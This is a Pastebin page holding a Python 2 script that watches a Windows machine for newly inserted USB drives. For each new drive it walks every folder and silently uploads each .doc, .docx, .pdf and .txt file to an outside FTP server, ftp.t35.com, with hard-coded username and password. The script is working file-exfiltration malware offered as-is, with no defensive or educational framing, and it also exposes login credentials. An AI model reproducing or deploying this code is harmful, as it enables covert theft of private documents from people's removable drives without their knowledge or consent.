Advertisement
Guest User

Untitled

a guest
Jun 24th, 2017
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.26 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. import os, time
  5. import ftplib as ftp
  6.  
  7. extensions = ['.doc', '.docx', '.pdf', '.txt'] # Extensions available
  8. explored_drives = []
  9.  
  10. class os_operations:
  11.     'Classe que verifica a validade dos ficheiros e que verifica também se uma nova pen drive foi introduzida'
  12.  
  13.     def is_drive (self, drive_path):
  14.         return not os.system (drive_path + ':')
  15.  
  16.     # Windows version of new_drive method
  17.     def new_drive (self):
  18.         for letter in range (ord ('A'), ord ('Z') + 1):
  19.             drive_path = chr (letter)
  20.             if drive_path == 'C': continue
  21.             if self.is_drive (drive_path) and drive_path not in explored_drives:
  22.                 explored_drives.append (drive_path)
  23.                 return drive_path
  24.         return 0
  25.  
  26.     #def new_drive (self):
  27.         #for directory in os.listdir ('/media'):
  28.             #if directory not in explored_drives:
  29.                 #explored_drives.append (directory)
  30.                 #return '/media/' + directory
  31.         #return 0
  32.  
  33.     def file_is_valid (self, filename):
  34.         (filepath, extension) = os.path.splitext (filename)
  35.         if extension in extensions:
  36.             return 1
  37.         else:
  38.             return 0
  39.  
  40. class ftp_operations:
  41.     'Class que opera com o servidor directamente, transfere ficheiros e conecta-se ao mesmo'
  42.  
  43.     def __init__ (self, server, username, password):
  44.         self.servername = server
  45.         self.username = username
  46.         self.password = password
  47.  
  48.     def connect (self):
  49.         self.handle = ftp.FTP (self.servername)
  50.         self.handle.login (self.username, self.password)
  51.  
  52.     def send_file (self, path, filename, pen_drives_instance):
  53.         if pen_drives_instance.file_is_valid (filename):
  54.             os.chdir (path)
  55.             self.handle.storbinary ('STOR ' + filename, open (filename, 'rb'))
  56.             print 'File uploaded: %s' % filename
  57.  
  58.     def close_connection (self):
  59.         self.handle.close ()
  60.  
  61. def main ():
  62.     pen_drives = os_operations ()
  63.     ftp_ops = ftp_operations ('ftp.t35.com', 'lulz99.t35.com', '12358132134')
  64.  
  65.     while True:
  66.         drive_path = pen_drives.new_drive ()
  67.         if drive_path:
  68.             ftp_ops.connect () # Connect to server and login
  69.             print "There's a new drive: %s" % drive_path
  70.             time.sleep (5) # Mount process wait
  71.             for root, dirs, files in os.walk (drive_path):
  72.                 for my_file in files:
  73.                     ftp_ops.send_file (root, my_file, pen_drives)
  74.             ftp_ops.close_connection ()
  75.         time.sleep (1) # Relax my friend
  76.  
  77. main ()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement